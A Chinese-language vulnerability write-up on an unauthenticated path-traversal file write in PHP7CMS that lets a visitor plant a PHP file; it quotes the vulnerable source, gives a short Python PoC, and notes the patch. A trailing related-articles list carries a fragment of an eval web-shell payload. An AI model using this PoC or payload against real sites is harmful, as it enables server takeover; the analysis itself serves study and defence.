PHP7CMS 无条件前台GETSHELL

Version:2018-10-09
//最新版中以修复此漏洞
这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。
01
02
03
04
05
06
07
08
09
10
11
12
// php7cms/Core/Controllers/Api/Api.php
// 52~61 line
public function save_form_data() {
    $rt = \Phpcmf\Service::L('cache')->init('file')->save(
        \Phpcmf\Service::L('Input')->get('name'),
        \Phpcmf\Service::L('Input')->post('data'),
        7200
    );
    var_dump($rt);
    exit;
}

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。
01
02
03
04
05
06
07
08
09
10
11
12
// php7cms/Fcms/Library/Cache.php
 // 112~121 line
 public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {
       $config = new \Config\Cache();
       $config->handler = 'file';
       $config->prefix = $prefix;
       !$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';
       $config->path = WRITEPATH.'caching/';
       $cache = \Config\Services::cache($config, 0);
       return $cache;
   }

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。
直接看最后一步
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
// php7cms/System/Cache/Handlers
// 107~125 line
public function save(string $key, $value, int $ttl = 60)
{
  $key = $this->prefix . $key;
  $contents = [
    'time'         => time(),
    'ttl'         => $ttl,
    'data'         => $value,
  ];
  if ($this->writeFile($this->path . $key, serialize($contents)))
  {
    chmod($this->path . $key, 0640);
    return true;
  }
  return false;
}

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//324~345 line       
protected function writeFile($path, $data, $mode = 'wb')
  {
    if (($fp = @fopen($path, $mode)) === false)
    {
      return false;
    }
    flock($fp, LOCK_EX);
    for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)
    {
      if (($result = fwrite($fp, substr($data, $written))) === false)
      {
        break;
      }
    }
    flock($fp, LOCK_UN);
    fclose($fp);
    return is_int($result);
  }

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。
POC:
1
2
3
4
5
from requests import post
postData = {
  'data':'<?php phpinfo()?>'
}
postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

新版修复:
首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

PHP7CMS 无条件前台GETSHELL相关推荐

  1. php7 cms,PHP7CMS 无条件前台GETSHELL

    Version:2018-10-09 //最新版中以修复此漏洞 这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的. [PHP] 纯文本查看 复制代码// php7cms/C ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. php缓存注入,利用Thinkphp 5缓存漏洞实现前台Getshell

    原标题:利用Thinkphp 5缓存漏洞实现前台Getshell *本文原创作者:WindWing,属于FreeBuf原创奖励计划,禁止转载 0×00 背景 网站为了实现加速访问,会将用户访问过的页面 ...

  4. 正方教务系统php登陆,正方教务管理系统最新版无条件注入GetShell | wooyun-2015-0122523| WooYun.org...

    正方教务系统提供了一系列的WebService接口,然而这些接口并未经过严格的认证,从而导致任何浏览者都可以使用这些接口查询信息.由于其对用户提交的参数未进行过滤,从而导致注入的发生! 搜索发现正方教 ...

  5. phpcms v9前台getshell

    PHPCMS是一款网站管理软件.该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计.开发与维护.它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠 ...

  6. catfish V4.8.48-4.8.54 前台getshell复现过程

    s=dir&filter[]=system&_method=__construct&method=* s=echo "<?php @eval($_POST['a ...

  7. php ceil 漏洞,【技术分享】CmsEasy前台无限制GetShell

    简要描述 CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话 前台getshell漏洞修正: 命令执行漏洞修正: 我们就根据补丁来分析一下这个前台Getshell漏洞. 漏洞详情 ...

  8. php strlen漏洞,CmsEasy前台无限制GetShell

    来源:阿里先知(安全情报) 简要描述 CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话 前台getshell漏洞修正: 命令执行漏洞修正: 我们就根据补丁来分析一下这个前台Get ...

  9. 记某CMS漏洞getshell

    记极致CMS漏洞getshell 今天下午比较空闲,就去搜索一些cms,突然对极致CMS感兴趣,而网上已经有一些文章对它进行分析利用,sql注入,xss,后台修改上传后缀名前台getshell等等. ...

最新文章

  1. 22条API设计的最佳实践
  2. 手机HTML编辑浏览器,HTML编辑浏览器
  3. SpringBoot异常处理ErrorController详解
  4. iOS开发 - Swift实现清除缓存功能
  5. java中字节流的选择,求助,java中怎么用字节流读写汉字
  6. 精通开关电源设计第三版pdf_看漫画,学电源(一)丨线性电源与开关电源的构造...
  7. 如何使用Burp Suite代理
  8. NLog.config
  9. DropDownList的项按字母顺序排列
  10. MyBatis数据输出
  11. XGBOOST_航班延误预测
  12. 复制错误:安装程序无法复制文件 Atapi.sys
  13. MySql 常用命令集
  14. 算法与数据结构学习资源大搜罗——良心推荐
  15. 学习笔记 #pragma GCC diagnostic push 与 #pragma GCC diagnostic pop 的使用
  16. 一大波猪年元素的二维码助你跨猪年!
  17. 商城运费模板数据库简单设计思路
  18. 敏捷开发之用户故事地图
  19. android手机功能创新,盘点最让人心动的五大手机差异化创新趋势
  20. vs2013(所有版本)-产品密钥

热门文章

  1. String、Brush、Color 相互转换
  2. Python - while语句和if语句 的 用法 及 代码
  3. 备份恢复文件夹NTFS安全设置
  4. 线性表的链式表示——单链表
  5. Python_note6 组合数据类型+jieba库+文本词频统计
  6. 格式化硬盘 FAT32 和NTFS 什么区别?
  7. vim的基本快捷操作(二)——可视模式
  8. Spring aop 实现异常拦截
  9. 大数处理之一(加法和乘法)
  10. 高速信号传输约翰逊 pdf_在PCB板边走高频高速信号线的注意事项